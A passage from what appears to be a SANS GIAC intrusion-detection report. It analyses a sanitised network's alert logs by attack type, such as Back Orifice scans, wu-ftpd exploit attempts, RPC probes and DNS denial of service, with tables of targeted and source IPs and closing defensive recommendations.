- **Back Orifice** - Scans with a destination port of 31337 indicate the intruder is trying to find machines running a hacker backdoor program called "Back Orifice". This program can be used remotely to "administer" GIAC Enterprise's machine. "Administer" as used in this context means perform unauthorized activity usually reserved for a system administrator. Things like monitoring keystrokes, capturing what is displayed on the current screen, opening and closing the CDROM device, turning on the audio or video capture tool, and etc. can all be done remotely by an intruder obviously fully compromising the security of the machine and its surroundings. I am happy to report that even though GIAC Enterprise's network was scanned for the Back Orifice program, a traffic analysis of the logs do not indicate that any of GIAC Enterprise machines are running the Back Orifice program. The following 20 machines are samples of the machines scanned and hold no true significance except as an indication of unauthorized activity against GIAC Enterprise's network.

Connections	Internal Machines
3	MY.NET.202.94
2	MY.NET.60.8
2	MY.NET.60.36
2	MY.NET.60.22
2	MY.NET.60.152
1	MY.NET.98.70
1	MY.NET.98.157
1	MY.NET.98.15
1	MY.NET.98.115
1	MY.NET.97.93
1	MY.NET.97.90
1	MY.NET.97.78
1	MY.NET.97.6
1	MY.NET.97.53
1	MY.NET.97.44
1	MY.NET.97.42
1	MY.NET.97.33
1	MY.NET.97.254
1	MY.NET.97.242
1	MY.NET.97.209

The following 10 machines performed scans against GIAC Enterprise's internal network. These are the real culprits of this activity. Internal policy should say whether these machines get blocked at the perimeter defenses. The top three on this list would be good candidates for blocking, so further unauthorized activity may not come directly from them. Realize that blocking hosts is not a very secure practice, since most intrusive activity does not originate from the intruder's true source, but will cause the intruder to find other "jumping off" points.

Connections	External Machines
32	209.94.199.202
20	62.136.71.93
14	209.94.199.143
3	216.99.200.242
2	207.253.109.40
2	203.155.129.211
1	64.229.42.221
1	24.112.86.56
1	212.217.124.157
1	154.5.60.169

- **site exec - Possible wu-ftpd exploit - GIAC000623 and SITE EXEC - Possible wu-ftpd exploit - GIAC000623 -**The "site exec – wu-ftpd" and the "SITE EXEC – wu-ftpd" alerts may indicate that a common File Transfer Protocol (FTP) buffer overflow has been used against one of GIAC Enterprise's machines. This buffer overflow, when successful, allows the intruder to run arbitrary commands on the victim machine. The traffic analysis of these alerts indicate that these machines need to be checked for a possible compromise:

Internal Machines
MY.NET.97.162
MY.NET.156.127
MY.NET.130.98

Pay close attention to the first machine since it is also involved in scanning external machines, indicating unauthorized use. Below are the source and destination pairs that were involved in the alerts:

Source Machine	Victim Machine
64.217.116.106	MY.NET.97.162
24.23.255.246	MY.NET.130.98
209.162.94.11	MY.NET.156.127

- **STATDX UDP attack** - STATDX is a hacker program that exploits a buffer overflow in the rpc.statd program, called just statd. Statd is used by NFS in conjunction with the rpc.lockd program to manage NFS files. The port can be variable, since statd is an RPC program and is usually found by a connection to the portmapper first. However, if attackers through a port scan or knowledge could find the port the statd program was currently running on, commonly port 32776, they could bypass the portmapper all together. Only one GIAC Enterprise machine generated this alert.

Source Machine	Victim Machine
206.210.80.6	MY.NET.6.15

Traffic analysis did not reveal anything further.

- **External RPC call** - Similar to the statd program above, Remote Procedure Call (RPC) programs have had a history of problems that could be exploited by a knowledgeable intruder. Buffer overflows, race conditions and bad configurations have landed RPC programs as number three in the SANS Top Ten Exploit list. While calls to the RPC programs are common for internal machines on a network, RPC calls from external machines are suspicious. An intruder could be allowed to run arbitrary commands on the machine if one of these vulnerabilities is exploited. Below are the three machines scanned most for the RPC services:

Connections Attempted	Internal Machines
26	MY.NET.6.15
6	MY.NET.15.127
5	MY.NET.100.130

The MY.NET.6.15 machine should be looked at closely. The traffic analysis of this data indicates that this machine probably had a successful connection from 206.210.80.6, but there is not enough data to say whether the external machine's connection was intrusive or not. The top ten external sites scanning GIAC Enterprise's network for RPC programs were:

Connections Attempted	External Machines
13	148.228.125.215
8	206.210.80.6
8	195.116.66.14
7	63.11.25.117
5	208.185.235.100
5	130.212.20.72
4	202.84.134.141
2	65.33.58.115
1	61.9.26.50
1	211.50.30.241

It is a policy decision to determine whether this is valid activity or not. Port 111, standard port for RPC, could be blocked at the perimeter if these connections are deemed suspicious. This however does not completely stop RPC exploits. Many RPC programs also establish a high port on which to communicate, similar to the statd above, and an intruder may be able to find these ports by using scans or trying common ports.

- **SUNRPC highport access! -** Speaking of finding high ports to exploit, the next alert is just for that. As just described, many RPC programs open up a high port, meaning ephemeral port – 1024 or above, for communication. The standard way to access these services is to connect to the portmapper, port 111, and query for the port number by using the standard RPC program number as the key to the query for the service required.

An astute intruder, however, can scan the range of high ports looking for services that they might exploit. The following ten internal machines received the most connections on the high ports:

Connections	Internal Machines
104	MY.NET.213.158
42	MY.NET.99.51
19	MY.NET.98.199
6	MY.NET.202.94
6	MY.NET.17.44
5	MY.NET.5.11
5	MY.NET.206.222
4	MY.NET.218.238
2	MY.NET.7.22
2	MY.NET.60.11

The first three machines are very suspect, with the next five rounding out the machines that need to be thoroughly checked. Traffic analysis shows a high number of connections to port 32771. This would indicate the intruders were making connections to this high port, which is normally used by "yppasswd" to transfer NIS passwords, to grab usernames and passwords for later cracking, unless the strong encryption option is being used by NIS. The following ten external sites were the top abusers of these services:

Connections	External Machines
91	205.188.153.139
35	24.180.202.45
19	64.4.13.74
7	206.196.168.157
6	216.99.200.242
6	152.163.241.88
5	24.7.177.100
5	216.10.12.30
5	128.169.50.34
4	216.10.14.143

It is interesting to note that the number one machine on this list is registered to AOL/ICQ network. This network is dedicated to the "icq" (I seek you) program that is an Internet chat program designed to alert users of other users on the network. Depending on internal policy, this may or may not be a good thing.

- **SNMP public access** - Scans against Simple Network Management Protocol (SNMP), port 161, were not as common, but do require further review. SNMP is a protocol that is used to pass information about the network architecture and its current status. An intruder can use this information to gather valuable information about GIAC Enterprise's network, which could be used in an attack against GIAC Enterprise at a later date. The following internal machines were scanned for this vulnerability:

Number of connections	Internal Machines
104	MY.NET.100.99
36	MY.NET.100.143
21	MY.NET.100.206
12	MY.NET.154.26

Special attention should be paid to MY.NET.154.26. Traffic analysis of that machine's connections indicate that an external source, 128.183.38.30, made a successful public SNMP connection. There was not enough information to ascertain what was done during the connection, but was possibly done to gather specific information about GIAC Enterprise's network. The following pair of machines performed these scans:

Number of Connections	External Machines
161	128.46.156.231
12	128.183.38.30

- **Connect to 515 from outside** - Port 515, a well-known port used for printer services, provides an easy way for intruders to gain initial access to

GIAC Enterprise's network. This service can be used to gain unauthorized access to the machine, which can then be used to sniff, scan, or launch further attacks on GIAC Enterprise's network. On the other hand, an astute intruder can also redirect, copy, or delete any files that are being printed to these machines. This can become a valuable source of proprietary information for an intruder. The following four machines should be checked for problems even though traffic analysis did not indicate any significant connections:

Number of Connections	Internal Machines
405	MY.NET.100.209
403	MY.NET.99.104
259	MY.NET.130.86
209	MY.NET.214.166

The following external machines performed significant scans for this vulnerability. There should be no valid reason for an unknown external machine to connect to GIAC Enterprise's internal printers.

Number of Connections	External Machines
2236	141.211.176.99
1273	216.119.15.88
713	209.217.166.69

- **Happy 99 Virus** - The Happy 99 Virus is a specific strain of virus that has infected machines in the past. Luckily the GIAC Enterprise Network does not show a significant infection of this virus. The single machine reporting the alert, MY.NET.6.47, should be virus scanned, otherwise GIAC Enterprise may face extensive cleanup procedures later if this infection is real and allowed to spread unchecked.
- **SMB Name Wildcard** – Microsoft Window machines use Server Message Block, port 137, to communicate network information to other window machines as requested. A wildcard connection would provide

an intruder with all the information about GIAC Enterprise's internal Microsoft network. This information could be used to target specific machines or users in later intrusive activity. The following five machines were the highest scanned machines.

Number of Connections	Internal Machines
67	MY.NET.6.15
58	MY.NET.101.192
23	MY.NET.98.212
10	MY.NET.50.239
10	MY.NET.100.130
7	MY.NET.125.41

The following eleven machines scanned GIAC Enterprise's SMB ports the most.

Connections	Source Machines
62	141.157.104.204
58	MY.NET.101.160
23	132.239.165.19
17	MY.NET.111.156
16	130.54.113.11
14	130.203.237.41
13	130.207.201.28
11	130.60.57.66
11	130.153.158.82
10	130.54.36.42
10	130.160.179.100

Notice that some internal machines are also attempting to access the SMB port. These are probably valid connections, but should be looked at anyway. Pay special attention to MY.NET.101.160 and MY.NET.111.156. Traffic analysis indicates other suspicious connections from these machines.

- **Russia Dynamo - SANS Flash 28-jul-00** – This attack was reported to be a scan from Russia similar to a RingZero; ports 8, 8080 1080; scan, but also included possible "napster", port 6699 or 6688, scans. GIAC Enterprise had one machine that reported this alert.

Connections	Source Machine	Destination Machine
442	MY.NET.205.138	194.87.6.38
104	194.87.6.38	MY.NET.205.138

A traffic analysis of this alert reveals that this was probably a valid "napster" connection to a Russian machine. This again may be bad or good depending on internal policy.

- **Attempted Sun RPC high port access** – This attack is similar to "SUNRPC highport access!" described above, however, these packets did not succeed in an actual connection. The following twenty machines had attempts against the RPC port 32771.

Connections	Internal Machines
556	MY.NET.213.158
434	MY.NET.222.218
224	MY.NET.97.213
221	MY.NET.223.106
214	MY.NET.224.138
90	MY.NET.105.115
78	MY.NET.97.208
45	MY.NET.221.130
44	MY.NET.97.96
14	MY.NET.226.242
12	MY.NET.97.245
11	MY.NET.224.62
10	MY.NET.97.45
8	MY.NET.220.118
6	MY.NET.97.74
4	MY.NET.202.94
3	MY.NET.225.234
3	MY.NET.97.163
1	MY.NET.104.52
1	MY.NET.97.53

The following sixteen machines attempted connections to RPC ports.

Connections	External Machines
570	205.188.153.100
493	205.188.153.108
398	205.188.153.106
154	205.188.153.104

150	205.188.153.101
73	205.188.153.102
63	205.188.153.105
59	205.188.153.111
45	216.13.244.241
24	205.188.153.98
14	205.188.153.99
4	216.99.200.242
3	205.188.153.107
1	205.188.153.109
1	205.188.153.97
1	216.34.243.246

- **Broadcast Ping to subnet 70** – Broadcast pings are directed to a whole subnet in order to solicit a response from many machines at a single time. This is commonly used as a denial or service against an external machine, however an unskilled system administrator at the other end will blame GIAC Enterprise for this activity since it appears to have come from them. The following network had broadcast pings sent to it.

Connections	Internal Network
154	MY.NET.70.255

The following 20 machines attempted broadcast pings to this network.

Connections	External Machines
52	213.154.131.131
26	194.102.93.101
17	193.231.220.91
12	193.231.220.137
8	193.231.220.238
6	213.154.133.190
4	213.154.130.64
3	195.159.0.162
3	193.231.220.125
3	193.231.169.166
3	193.231.169.152
2	217.10.207.88
2	212.204.137.53
2	211.33.158.136

2	151.21.208.42
1	62.98.69.17
1	62.226.88.105
1	217.80.182.182
1	216.22.239.2
1	213.97.215.87

There is no valid reason broadcast pings should be sent to GIAC Enterprise's network from an external source. This activity should be blocked at the perimeter.

- **WinGate 1080 Attempt** – WinGates are a common way for intruders to obfuscate their actual network origins. The WinGate can be used as a pass through or connection redirector allowing GIAC Enterprise's IP to be seen, but not the intruder's. The following top 20 machines had attempts against the WinGate port 1080.

Connections	Internal Machines
134	MY.NET.60.8
110	MY.NET.208.22
96	MY.NET.60.11
95	MY.NET.60.38
75	MY.NET.15.178
54	MY.NET.202.94
47	MY.NET.60.16
41	MY.NET.100.203
33	MY.NET.201.146
26	MY.NET.98.169
25	MY.NET.225.62
25	MY.NET.201.46
22	MY.NET.217.146
19	MY.NET.98.184
17	MY.NET.98.194
16	MY.NET.218.218
15	MY.NET.97.176
14	MY.NET.98.152
14	MY.NET.98.117
14	MY.NET.215.78

The following top 20 machines attempted connections to the WinGate port.

Connections	External Machines
111	209.212.128.47
91	207.114.4.46
91	12.77.204.44
67	204.117.70.5
65	212.72.75.236
55	199.173.178.2
52	198.63.2.192
51	194.87.13.86
44	205.136.57.121
41	198.139.244.22
40	212.73.162.30
37	209.61.189.49
37	198.92.138.226
30	216.152.64.142
27	216.152.64.211
25	24.4.133.36
23	216.95.146.101
23	212.43.196.5
22	64.154.61.232
22	208.194.160.1

- **DNS udp DoS attack described on unisog** – This denial of service attack is directed against domain name servers and can be used to block all traffic coming from GIAC Enterprise's network. The following three machines had denial of service attempts used against their DNS, port 53.

Connections	Internal Machines
5411	MY.NET.1.3
5390	MY.NET.1.4
5331	MY.NET.1.5

The following external machine attempted to deny service to the DNS port on these machines.

Connections	External Machine
16132	209.67.50.203

- **Tiny Fragments - Possible Hostile Activity** – Many tiny fragments can be used to cause denial of service, especially on Microsoft Window machines. The following thirteen machines had tiny fragments attempts against them.

Connections	Destination Machines
3148	MY.NET.1.8
1264	MY.NET.1.10
727	MY.NET.217.162
168	MY.NET.60.11
8	MY.NET.1.9
7	208.162.62.208
6	MY.NET.202.18
5	MY.NET.100.230
2	MY.NET.98.123
2	MY.NET.215.106
1	MY.NET.71.38
1	MY.NET.219.46
1	MY.NET.201.14

The following top 20 machines attempted tiny fragment exploits against the destination machines.

Connections	Source Machines
733	65.4.87.43
521	202.205.5.10
460	202.101.43.222
458	61.134.9.133
415	61.140.75.3
391	202.96.96.3
385	210.12.160.130
326	202.108.43.152
286	202.108.43.151
285	61.140.75.5
243	202.101.43.220
236	61.140.75.4
199	61.155.13.3
171	202.101.43.223
112	4.4.4.4
56	8.8.8.8
32	61.134.9.134
8	209.247.204.244
7	MY.NET.219.122
5	63.210.46.242

Traffic analysis indicates that the internal machine MY.NET.219.122 should be checked for unauthorized activity.

- **Watchlist 000220 IL-ISDNNET-990517** – Machines originating from this network are known to generate a lot of intrusive scans for ftp, telnet, mail, napster, Trojans, backdoors and gnutella programs. Worth watching. The following top 20 machines had attempts or connections from this suspicious network.

Connections	Internal Machines
37604	MY.NET.201.222
25182	MY.NET.220.126
9309	MY.NET.225.234
5181	MY.NET.202.94
5080	MY.NET.229.114
4445	MY.NET.228.214
2288	MY.NET.202.30
1912	MY.NET.201.130
1517	MY.NET.130.187
1438	MY.NET.217.138
1221	MY.NET.98.114
1125	MY.NET.5.29
1054	MY.NET.60.11
858	MY.NET.209.154
803	MY.NET.213.222
759	MY.NET.97.48
724	MY.NET.212.38
478	MY.NET.218.14
469	MY.NET.208.26
450	MY.NET.219.62

The following top 20 machines from this suspicious network attempted or connected to GIAC Enterprise's internal network.

Connections	External Machines
48786	212.179.79.2
39015	212.179.27.111
4563	212.179.95.5
2353	212.179.77.20
1517	212.179.44.105
1387	212.179.42.102
1221	212.179.38.135
1054	212.179.58.12
1002	212.179.45.241
926	212.179.56.5
566	212.179.8.164

478	212.179.15.122
469	212.179.58.174
453	212.179.7.173
429	212.179.125.114
389	212.179.67.162
338	212.179.69.200
202	212.179.27.6
198	212.179.44.106
178	212.179.17.4

These machines used the following top 20 destination ports. The destination port can give an idea of the type of traffic that these machines were connecting, or try to connect, to.

Connections	**Destination port**	**Service**
37765	6688	Napster
29194	6699	Napster
9525	4876	Unknown
9315	4967	Unknown
4191	1525	Oracle/prospero
1914	6346	Unknown
1517	2209	Unknown
1388	443	http / SSL
1221	4078	Unknown
1062	41033	Unknown
1054	23	telnet
960	7000	Bb2/afs fileserver
858	4808	Unknown
803	4683	Unknown
759	4436	Unknown
688	4336	Unknown
476	4772	Unknown
430	4164	Unknown
396	4432	Unknown
389	1343	Unknown

- **Watchlist 000222 NET-NCFC** – Machines from The Computer Network Center Chinese Academy of Sciences have been known in the past to perform intrusive activity. Unless GIAC Enterprise partners with someone from this network, these connections are also worth watching. The

following 19 machines received attempts or connections from this suspicious network.

Connections	Internal Machines
789	MY.NET.100.230
540	MY.NET.6.7
278	MY.NET.253.41
275	MY.NET.5.29
112	MY.NET.253.42
103	MY.NET.253.43
61	MY.NET.253.53
55	MY.NET.6.35
43	MY.NET.253.51
40	MY.NET.6.34
27	MY.NET.1.2
26	MY.NET.145.9
22	MY.NET.253.52
15	MY.NET.6.47
11	MY.NET.145.18
1	MY.NET.75.3
1	MY.NET.253.114
1	MY.NET.145.76
1	MY.NET.110.150

The following top 20 machines from this suspicious network attempted, or connected, to GIAC Enterprise's internal network.

Connections	External Machines
900	159.226.121.37
528	159.226.91.20
174	159.226.8.6
158	159.226.115.1
98	159.226.114.1
97	159.226.39.4
85	159.226.228.1
69	159.226.45.3
43	159.226.159.50
32	159.226.64.138
32	159.226.63.200
29	159.226.158.188
25	159.226.92.10
24	159.226.47.217
20	159.226.5.222
16	159.226.47.196
15	159.226.61.62

11	159.226.47.195
11	159.226.47.14
9	159.226.133.196

These machines used the following top 20 destination ports. The destination port can give an idea of the type of traffic that these machines were connecting, or try to connect, to.

Connections	Destination Port	Service
1486	25	mail
505	143	imap
275	443	http / SSL
81	113	auth
10	21	ftp
5	51221	Unknown
4	53677	Unknown
4	49574	Unknown
2	7187	Unknown
2	51730	Unknown
2	49255	Unknown
1	64268	Unknown
1	63960	Unknown
1	62213	Unknown
1	60124	Unknown
1	60044	Unknown
1	55328	Unknown
1	55072	Unknown
1	50360	Unknown
1	49272	Unknown

- **Queso fingerprint** – Queso is a well-known program used to fingerprint machines on a network. Fingerprinting was previously discussed in the Scan Files section. The following top 20 machines had fingerprinting scans attempted against them.

Connections	Internal Machines
204	MY.NET.219.114
127	MY.NET.201.130
51	MY.NET.201.62
39	MY.NET.204.38
38	MY.NET.223.226
37	MY.NET.224.242
28	MY.NET.201.66

20	MY.NET.202.46
16	MY.NET.53.108
10	MY.NET.60.8
8	MY.NET.219.210
7	MY.NET.253.43
6	MY.NET.60.38
6	MY.NET.53.184
6	MY.NET.217.242
6	MY.NET.210.6
6	MY.NET.201.78
5	MY.NET.202.26
4	MY.NET.60.11
4	MY.NET.253.42

The following top 20 machines attempted fingerprint scans against GIAC Enterprise's internal network.

Connections	External Machines
204	206.65.191.129
144	63.78.39.192
49	141.30.228.161
41	141.30.228.43
30	141.30.228.36
26	141.30.228.226
23	141.30.228.199
21	134.2.214.47
19	204.192.85.123
15	141.30.228.115
11	204.42.254.5
10	64.80.118.241
10	141.30.228.175
9	141.30.228.182
8	141.30.228.178
8	128.46.156.117
7	64.242.77.150
5	141.30.228.58
5	141.30.228.221
5	141.30.228.120

- **Probable NMAP fingerprint attempt** – Same as above only from the well-known scanning program NMAP. The following six machines had fingerprinting attempts run against them.

Connections	Internal machines
3	MY.NET.105.120
1	MY.NET.98.154
1	MY.NET.98.147
1	MY.NET.217.146
1	MY.NET.209.78
1	MY.NET.201.222

The following five machines attempted fingerprint scans against GIAC Enterprise's internal network.

Connections	External Machines
4	24.113.198.51
1	211.109.37.120
1	206.205.246.2
1	153.19.144.207
1	130.239.129.109

- **SYN-FIN scan!** – These scans were previously discussed in the Scan Files section. The following top 20 machines had scans attempted against them.

Connections	Internal Machines
19	MY.NET.253.112
8	MY.NET.21.15
7	MY.NET.5.125
7	MY.NET.11.212
6	MY.NET.7.184
6	MY.NET.7.135
6	MY.NET.6.65
6	MY.NET.26.136
6	MY.NET.25.72
6	MY.NET.25.213
6	MY.NET.25.149
6	MY.NET.25.135
6	MY.NET.232.35
6	MY.NET.223.255
6	MY.NET.223.133
6	MY.NET.2.149
6	MY.NET.212.57
6	MY.NET.21.229
6	MY.NET.21.208
6	MY.NET.211.55

The following top 20 machines attempted scans against GIAC Enterprise's internal network.

Connections	External Machines
17604	211.34.40.1
9878	195.56.182.206
8565	194.234.48.26
4096	147.8.182.157
3052	194.204.224.131
1951	139.130.61.206
1790	200.194.102.99
1580	194.197.170.7
1242	63.204.152.253
706	193.253.202.9
630	132.68.37.141
44	64.161.240.254
25	63.229.92.11
4	63.11.25.117
2	63.252.94.211
2	63.252.92.239
1	64.196.23.118
1	64.196.112.164
1	63.254.34.46
1	63.253.143.107

- **Null scan!** - These scans were previously discussed in the Scan Files section. The following top 20 machines had scans attempted against them.

Connections	Internal Machines
131	MY.NET.60.11
94	MY.NET.60.8
86	MY.NET.60.16
62	MY.NET.6.39
61	MY.NET.6.44
50	MY.NET.60.38
25	MY.NET.5.29
21	MY.NET.105.120
13	MY.NET.253.112
11	MY.NET.180.26
10	MY.NET.217.242
9	MY.NET.201.78
5	MY.NET.99.51
5	MY.NET.5.10
5	MY.NET.253.114

4	MY.NET.253.105
4	MY.NET.212.214
4	MY.NET.201.74
4	MY.NET.201.130
4	MY.NET.201.102

The following top 20 machines attempted scans against GIAC Enterprise's internal network.

Connections	External Machines
19	63.253.110.142
16	24.112.150.20
11	63.253.98.172
10	63.253.98.171
9	63.253.110.157
9	63.252.95.21
8	63.252.96.36
8	24.113.198.51
7	63.253.110.147
7	63.252.92.159
6	63.253.98.169
6	63.253.140.94
6	63.252.92.108
6	24.180.168.160
6	209.156.50.45
5	63.253.112.42
5	63.253.110.161
5	63.253.110.153
5	63.252.92.77
5	62.31.29.134

- **NMAP TCP ping!** – Ping scans are used to identify active machines on a network and are usually a precursor to another type of scan. The following top 20 machines had scans attempted against them.

Connections	Internal Machines
63	MY.NET.1.8
38	MY.NET.1.3
27	MY.NET.253.125
27	MY.NET.100.165
23	MY.NET.60.14
18	MY.NET.1.5
17	MY.NET.110.39
14	MY.NET.1.4
11	MY.NET.100.230

10	MY.NET.253.114
6	MY.NET.6.34
6	MY.NET.1.10
5	MY.NET.1.9
5	MY.NET.181.144
5	MY.NET.0.61
4	MY.NET.6.7
4	MY.NET.0.90
4	MY.NET.0.53
4	MY.NET.0.51
4	MY.NET.0.33

The following top 20 machines attempted scans against GIAC Enterprise's internal network.

Connections	Source Machines
262	MY.NET.70.38
55	192.102.197.234
46	194.133.58.129
41	63.119.91.2
19	64.64.226.2
19	216.104.228.102
16	202.187.24.3
8	216.104.228.134
8	212.208.74.129
7	12.21.190.9
6	199.197.135.21
6	199.197.130.21
5	199.36.49.2
4	2.2.2.2
4	204.155.48.3
4	194.186.36.190
4	159.215.19.44
3	206.205.246.2
3	194.30.132.18
2	63.148.18.162

- **Connect to 515 from inside** – Similar to "connect to 515 from outside" except the source was an internal machine. Many of these are probably valid connections, but why are some internal machines attempting access to external printers? The following top 20 machines had attempts against the printer, port 515.

Connections	Destination Machines
9	216.181.129.185
4	MY.NET.0.114
3	MY.NET.0.67
3	MY.NET.0.60
3	MY.NET.0.32
3	MY.NET.0.30
3	MY.NET.0.22
3	MY.NET.0.109
3	MY.NET.0.108
3	MY.NET.0.1
3	64.23.4.67
3	212.187.65.135
3	128.8.3.106
2	MY.NET.0.94
2	MY.NET.0.91
2	MY.NET.0.87
2	MY.NET.0.77
2	MY.NET.0.68
2	MY.NET.0.66
2	MY.NET.0.65

The following 10 machines attempted connections to the printer port.

Connections	Internal Source Machines
137	MY.NET.70.38
9	MY.NET.98.151
3	MY.NET.60.38
3	MY.NET.253.12
2	MY.NET.99.244
1	MY.NET.60.16
1	MY.NET.219.194
1	MY.NET.219.122
1	MY.NET.179.78
1	MY.NET.163.17

Traffic analysis indicates that MY.NET.70.38, MY.NET.98.151, and MY.NET.219.122 should be checked for suspicious activity.

- **TCP SMTP Source Port traffic** – Simple Mail Transfer Protocol (SMTP) is normally used to transport mail to and from GIAC Enterprise's network. Only the mail server should use the

well-known port for this service, port 25, as a source port. Any other use of this port as a source port should be suspected as an unauthorized action and is sometimes used to spoof email from other users. The following top 20 machines had attempts against them from mail port 25.

Connections	Internal Machines
11	MY.NET.253.42
2	MY.NET.5.27
2	MY.NET.199.71
1	MY.NET.99.135
1	MY.NET.71.34
1	MY.NET.68.33
1	MY.NET.68.29
1	MY.NET.60.26
1	MY.NET.2.206
1	MY.NET.2.103
1	MY.NET.208.46
1	MY.NET.182.21
1	MY.NET.162.43
1	MY.NET.157.69
1	MY.NET.157.65
1	MY.NET.154.25
1	MY.NET.151.66
1	MY.NET.146.54
1	MY.NET.145.34
1	MY.NET.143.151

The following 5 machines attempted connections from the mail port.

Connections	External Machines
84	63.11.25.117
11	165.112.79.25
2	213.74.161.214
2	206.132.27.156
1	64.161.240.254

4. OOSched Files

Analyzing these files did not provide any detailed insight into the previous files, as was hoped, however it was noted that these connections did provide additional information about activity used against the

network. 77.9% of these connections contained information, i.e. window size of 1028, which indicates a possible Idlescan, sometimes called t0rnscan used in the t0rn rootkit, from 194.197.170.7. Idlescan is an anonymous scanner, which allows an intruder to scan GIAC Enterprise's network for open ports without giving away the true source of the scan. Another probable FTP scan from 200.194.102.99 is also contained within these files. An FTP scan could indicate an intruder has specifically targeted FTP services to exploit and is looking to exploit one on GIAC Enterprise's internal network ftp servers. The following statistics show the top 20 ports used:

Connections	Port	Service
31460	21	ftp commands
12119	109	pop-2
3544	2340	Unknown
2213	53	dns
1973	9055	Unknown
520	119	readnews
289	6346	Unknown
142	21536	Unknown
89	80	http (web)
65	2597	Unknown
60	2584	Unknown
57	1034	Unknown
53	2585	Unknown
49	0	Unknown
48	6699	napster
47	58870	Unknown
45	2287	Unknown
44	2948	Unknown
43	21036	Unknown
42	1041	Unknown

5. Conclusions and Recommendations

GIAC Enterprise seems to have a pretty standard presence on the network. As I have said before, if is connected to the Internet, GIAC Enterprise is going to have intrusive attempts against their network. GIAC Enterprise can't completely eliminate the risk, the best they can do is manage it. (See http://www.sans.org/newlook/resources/policies/policies.htm on setting up a good security policy.)Below are some recommendations that should help GIAC Enterprise

manage the risk. These recommendations are fairly standard for any company, but are also tailored to GIAC Enterprise's network where appropriate.
The GIAC network should install, if they haven't already, for their first line of defense a good firewall, like Firewall-1, or Gauntlet. Care and time should be taken to establish a good security policy, and the firewall should mirror this policy. This is not a silver bullet, and should be used in conjunction with other security tools. Next proxy and filtering tools should be used like SOCKS or TCP_Wrappers. These will help keep unwanted connections or machines from affecting critical systems. Next, host-based auditing, network-based traffic analysis, and intrusion detections systems, like snort, tripwire, and shadow should be put in place. These will help provide both alerts of intrusive activity and additional information about the intrusive activity. Something that goes along with these tools that most people don't think about are network management tools like, HP's OpenView, ntop or Multi-Router Traffic Grapher (MRTG). These tools can help identify unusual changes in network traffic patterns that could alert GIAC Enterprise to intrusive activity. Other tools, besides this basic set, can be employed to improve the security of GIAC Enterprise's network, like: security management and improvement tools, active content filtering tools, network-based auditing tools, encryption tools, one time password tools and secure remote access tools. (See http://www.sans.org/tools.htm for additional information.)
Some specific activities GIAC Enterprise should do to improve security and better manage the risk are:

- Turn off all unused or unwanted ports on all internal machines. This will reduce the possible pathways an intruder has into GIAC Enterprise's network.
- TripWire and Tcp_wrappers should be installed, at least on all servers and "critical" machines.
- System administrators should only connect to critical machines via a secure shell connection, even from inside the internal perimeter, just in case someone does find a way in.
- Continue to run a network monitor or IDS, like snort, outside the network perimeter.

- Also, run another monitor or IDS inside the perimeter, in case someone does manage to breach the perimeter defenses.
- I would also check the following machines for possible compromise:

Internal machine
MY.NET.5.11
MY.NET.6.15
MY.NET.17.44
MY.NET.70.38
MY.NET.97.162
MY.NET.98.151
MY.NET.98.156
MY.NET.98.199
MY.NET.99.51
MY.NET.99.104
MY.NET.100.209
MY.NET.101.160
MY.NET.111.156
MY.NET.130.86
MY.NET.130.98
MY.NET.154.26
MY.NET.156.127
MY.NET.186.16
MY.NET.186.17
MY.NET.201.94
MY.NET.202.94
MY.NET.206.222
MY.NET.209.162
MY.NET.213.158
MY.NET.214.166
MY.NET.217.126
MY.NET.217.150
MY.NET.217.158
MY.NET.217.182
MY.NET.218.238
MY.NET.219.122
MY.NET.219.126

I know this seems excessive, but to ensure GIAC Enterprise continues with good security practices, a good secure baseline should be established and then maintained.

(See http://www.sans.org/newlook/resources/IDFAQ/ID_FAQ.htm and http://www.cert.org/nav/recovering.html for information on checking machines for intrusive activity.)

Last Updated: May 28th, 2017

Upcoming Training

Security Operations Center Summit & Training	Washington, DC	Jun 05, 2017 - Jun 12, 2017	Live Event
SANS Houston 2017	Houston, TX	Jun 05, 2017 - Jun 10, 2017	Live Event
SANS Columbia, MD 2017	Columbia, MD	Jun 26, 2017 - Jul 01, 2017	Live Event
SANS London July 2017	London, United Kingdom	Jul 03, 2017 - Jul 08, 2017	Live Event
SANSFIRE 2017	Washington, DC	Jul 22, 2017 - Jul 29, 2017	Live Event
SANSFIRE 2017 - SEC503: Intrusion Detection In-Depth	Washington, DC	Jul 24, 2017 - Jul 29, 2017	vLive
SANS San Antonio 2017	San Antonio, TX	Aug 06, 2017 - Aug 11, 2017	Live Event
SANS Boston 2017	Boston, MA	Aug 07, 2017 - Aug 12, 2017	Live Event
SANS Adelaide 2017	Adelaide, Australia	Aug 21, 2017 - Aug 26, 2017	Live Event
SANS Virginia Beach 2017	Virginia Beach, VA	Aug 21, 2017 - Sep 01, 2017	Live Event
SANS Network Security 2017	Las Vegas, NV	Sep 10, 2017 - Sep 17, 2017	Live Event
SANS vLive - SEC503: Intrusion Detection In-Depth	SEC503 - 201709,	Sep 11, 2017 - Oct 18, 2017	vLive
Baltimore September 2017 - SEC503: Intrusion Detection In-Depth	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	vLive
SANS Baltimore Fall 2017	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	Live Event
SANS London September 2017	London, United Kingdom	Sep 25, 2017 - Sep 30, 2017	Live Event
Community SANS Scottsdale SEC503	Scottsdale, AZ	Oct 02, 2017 - Oct 07, 2017	Community SANS
SANS October Singapore 2017	Singapore, Singapore	Oct 09, 2017 - Oct 28, 2017	Live Event
Community SANS Boston SEC503	Boston, MA	Oct 09, 2017 - Oct 14, 2017	Community SANS
Community SANS Ottawa SEC503	Ottawa, ON	Oct 16, 2017 - Oct 21, 2017	Community SANS
SANS Seattle 2017	Seattle, WA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS San Diego 2017	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	Live Event
San Diego Fall 2017 - SEC503: Intrusion Detection In-Depth	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	vLive
SIEM & Tactical Analytics Summit & Training	Scottsdale, AZ	Nov 28, 2017 - Dec 05, 2017	Live Event
SANS Cyber Defense Initiative 2017	Washington, DC	Dec 12, 2017 - Dec 19, 2017	Live Event
SANS OnDemand	Online	Anytime	Self Paced
SANS SelfStudy	Books & MP3s Only	Anytime	Self Paced